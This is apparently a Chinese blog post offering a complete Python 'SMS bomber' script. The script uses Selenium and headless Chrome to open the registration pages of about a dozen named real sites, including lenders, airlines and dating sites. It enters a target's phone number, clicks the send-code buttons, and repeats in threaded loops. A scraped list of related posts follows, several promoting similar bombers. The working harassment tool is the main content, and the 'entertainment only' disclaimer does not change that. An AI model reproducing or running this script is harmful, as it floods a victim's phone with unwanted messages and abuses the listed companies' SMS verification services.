Python 实现短信轰炸机
原理其实很简单,就是利用selenium包打开各种网站的注册页,输入轰炸的号码,实现轰炸。其实也算是利用了注册漏洞。申明:仅娱乐使用,禁止️用于非法用途!若用于非法用途,后果及法律责任博主一律不承担
from selenium import webdriver
from selenium.webdriver import ActionChains
import time
import threading #360借条
def send_360(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://www.360jie.com.cn/')
browser.find_element_by_name("mobile").send_keys(phon_num)
browser.find_element_by_id('btnSendCode1').click()
time.sleep(5)
browser.close() #拍拍贷
def send_paipai(phon_num): option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
key = "8263abd"
browser.get("https://account.ppdai.com/pc/login")
browser.find_element_by_class_name("login_toRegister").click()
browser.find_element_by_name("Mobile").send_keys(phon_num)
browser.find_element_by_name("Password").send_keys(key)
browser.find_element_by_id("getvefydata").click()
time.sleep(5)
browser.close() #饿了么开放平台
def send_ele(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://open.shop.ele.me/openapi/register')
browser.find_element_by_class_name('el-checkbox__inner').click()
time.sleep(3)
browser.find_element_by_xpath("//*[@class='el-button btn-next-step el-button--primary']").click()
time.sleep(4)
browser.find_element_by_class_name('el-input__inner').send_keys(phon_num)
browser.find_element_by_class_name('btn-verifyCode').click()
time.sleep(4)
browser.close() #瓜子二手车
def send_guazi(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome()
browser.get('https://www.guazi.com/nanchong/')
time.sleep(1)
browser.find_element_by_xpath("//*[@class='close js-close-finance-pop']").click()
time.sleep(2)
browser.find_element_by_id('js-login-new').click()
time.sleep(1)
browser.find_element_by_name('phone').send_keys(phon_num)
time.sleep(1)
browser.find_element_by_class_name('get-code').click()
time.sleep(4)
browser.close() #凤凰智信
def send_fenghuang(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://www.fengwd.com/')
time.sleep(1)
browser.find_element_by_xpath("//*[@class='top-bar-item login-tag']/a").click()
time.sleep(2)
browser.find_element_by_id('mobile_number').send_keys(phon_num)
browser.find_element_by_xpath("//*[@class='get-sms-captcha blue']").click()
time.sleep(4)
browser.close() #众房宝
def send_zongfangbao(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://www.zonefang.com/member/common/register')
time.sleep(1)
browser.find_element_by_class_name('phone').send_keys(phon_num)
time.sleep(2)
browser.find_element_by_class_name('pwd').send_keys('123456ydsa')
time.sleep(1)
browser.find_element_by_xpath("//*[@class='send_msg hand']").click()
time.sleep(4)
browser.close() #百合相亲网
def send_baihe(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://my.baihe.com/register/?spm=2.13.24.69.99')
time.sleep(1)
browser.find_element_by_id('account').send_keys(phon_num)
browser.find_element_by_id('mobileValiCode_btn').click()
time.sleep(4)
browser.close() #四川航空
def send_sichuanair(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('http://flights.sichuanair.com/3uair/ibe/profile/createProfile.do')
browser.find_element_by_name('mobilePhone').send_keys(phon_num)
time.sleep(1)
browser.find_element_by_id('sendSmsCode').click()
time.sleep(6)
browser.close() #昆明航空
def send_airkunming(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://www.airkunming.com/#/user/register')
browser.find_element_by_id('mobile').send_keys(phon_num)
time.sleep(1)
browser.find_element_by_xpath("//*[@class='sms-code']").click()
time.sleep(4)
browser.close() #有赞开放平台
def send_youzan(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://console.youzanyun.com/register')
browser.find_element_by_xpath("//*[@class = 'zent-input phone']").send_keys(phon_num)
time.sleep(1)
browser.find_element_by_xpath("//*[@class = 'sms-btn']").click()
time.sleep(4)
browser.close() #安徽相亲网
def send_anhuixiangiqn(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('http://www.ahxiangqin.cn/index.php?c=passport&a=reg')
browser.find_element_by_name('mobile').send_keys([phon_num])
time.sleep(1)
#browser.find_element_by_class_name('action-send-mobile-code get').click()
browser.find_element_by_xpath("//*[@class = 'action-send-mobile-code get']").click()
time.sleep(4)
browser.close() #我主良缘
def send_wozhuliangyuan(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('http://m.7799520.com/register.html')
browser.find_element_by_name('mobile').send_keys([phon_num])
time.sleep(1)
bu = browser.find_elements_by_tag_name('button')
for i in bu:
i.click()
time.sleep(2)
browser.close() if __name__ == "__main__":
phon_num = input('输入轰炸的手机号:')
run_roll = input('轰炸循环次数:')
run_roll = int(run_roll)
for _ in range(run_roll):
#threading.Thread(target = send_baihe(phon_num)).start()
threading.Thread(target = send_360(phon_num)).start()
#threading.Thread(target = send_paipai(phon_num)).start()
threading.Thread(target = send_ele(phon_num)).start()
#threading.Thread(target = send_guazi(phon_num)).start()
threading.Thread(target = send_fenghuang(phon_num)).start()
#threading.Thread(target = send_zongfangbao(phon_num)).start()
threading.Thread(target = send_sichuanair(phon_num)).start()
threading.Thread(target = send_airkunming(phon_num)).start()
threading.Thread(target = send_youzan(phon_num)).start()
threading.Thread(target = send_anhuixiangiqn(phon_num)).start()
threading.Thread(target = send_wozhuliangyuan(phon_num)).start()
time.sleep(4)
Python 实现短信轰炸机的更多相关文章
- 使用Selennium实现短信轰炸机
前言 可以用来轰炸一下骗子,但最好不要乱用.本来初学Python,仅当学习. selenium和ChromeDriver的安装与配置 可参考这篇博客,这里不再赘述. 程序实现 短信轰炸机的原理是利用一 ...
- Python3实现短信轰炸机
短信轰炸机的基本原理:利用某些限制不严格的网站短信注册接口,用Python模拟请求,传入被炸人手机号码,实现轰炸 实现方式:利用requests模块.time模块.完成请求模拟 模块安装: 在终端窗口 ...
- 键盘上的"整蛊专家",如何防止短信轰炸机
"短信轰炸机",是别人通过爬虫或者其他抓取手段在网路上收集那些公司平台短信业务接口的一个集成程序,可能只需要输入一个手机号,对方一整天都会收到各大平台的注册或提醒短信,就是手机在那 ...
- Python发送短信提醒
Python发送短信可借助腾讯云平台提供的短信服务 发送短信需要的及格参数: 1.SDK_AppID和SDK_Key 2.签名: 3.模板ID 下面贴出源码DEMO: from qcloudsms_p ...
- 使用python进行短信轰炸
本文作者:i春秋作家——Hacker1ee 大家好,我是1ee(因为在作家群,就不加Hacker这个前缀了,怕被大佬打..) 刚加入i春秋作家组希望大家多多关照,也欢迎大家找我交流 今天我来讲讲我最近 ...
- python短信轰炸机版本smsbomb----------部分(post)
用一些用手机号注冊且须要发送验证码的站点的漏洞.能够向不论什么人的手机号发送短信,当然短信内容,我们无法控制.所以主要工作还是寻找这种站点.然后利用Fiddler或者HttpWatch分析请求.使用p ...
- 使用python实现短信PDU编码
前几天入手一个3G模块,便倒腾了一下.需要发送中英文混合短信,所以采用PDU模式(不了解google ^_^). 最大问题当然就是拼接PDU编码(python这么强大,说不定有模块),果不其然找到一个 ...
- DAY3 python群发短信
手机轰炸,burpsuit 抓取注册页面输入的手机号,然后每点击一次forword ,都开开始放行,发短信.也可以发到repeat 里面进行 ,重复发送短信. import requests impo ...
- python发送短信验证码
业务: 手机端点击发送验证码,请求发送到python端,由python调用第三方平台(我们使用的是榛子云短信http://smsow.zhenzikj.com)的短信接口,生成验证码并发送. SDK下 ...
随机推荐
- Java实现 LeetCode 768 最多能完成排序的块 II(左右便利)
768. 最多能完成排序的块 II 这个问题和"最多能完成排序的块"相似,但给定数组中的元素可以重复,输入数组最大长度为2000,其中的元素最大为10**8. arr是一个可能包含 ...
- SQL server 导入数据 (excel导入到SQL server数据库)
打开数据库SQL server ,右键数据库,任务,导入数据 点击下一步 选择数据源类型 选择路径,点击下一步 选择将要生成的类型 选择登陆方式 选中,点击下一步 点击编辑映射可以修改将要生成的表,点 ...
- java实现第七届蓝桥杯阶乘位数
阶乘位数 阶乘位数 9的阶乘等于:362880 它的二进制表示为:1011000100110000000 这个数字共有19位. 请你计算,9999 的阶乘的二进制表示一共有多少位? 注意:需要提交的是 ...
- Python接口自动化测试脚本-实现禅道登录
未来应用方向:UI自动化测试或接口自动化测试发现的Bug可自动录入禅道,带截图与相关报错信息. #!/usr/bin/env python # -*- coding: UTF-8 -*- '''=== ...
- 批量执行app自动化测试思路设计图
- Spring Cloud 系列之 Alibaba Nacos 注册中心(二)
本篇文章为系列文章,未读第一集的同学请猛戳这里:Spring Cloud 系列之 Alibaba Nacos 注册中心(一) 本篇文章讲解 Nacos 注册中心集群环境搭建. Nacos 集群环境搭建 ...
- JavaScript转换json
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- 自动完成 APP【字典树(Trie树)+dfs】
自动完成 APP 传送门 来源:upc12786 题目描述 奶牛 Bessie 很喜欢用手机上网聊天,但她的蹄子太大,经常会按到好几个键造成不必要的麻烦(丢死人了,你下辈子还是不要当奶牛了).于是 ...
- 2019-02-08 Python学习之Scrapy的简单了解
今天遇到的问题和昨天差不多,一个Scrapy装了好久,anaconda卸了又装,pycharm卸了又装,环境变量配置一堆,依赖包下载一堆.查了一堆资料总算是搞好了. Scripy: 先放个框架结构图( ...
- 文本溢出后,隐藏显示"..."和margin边距重叠
一.隐藏加省略 单行文本: overflow: hidden; white-space: nowrap; text-overflow: ellipsis; 多行文本: overflow: hidden ...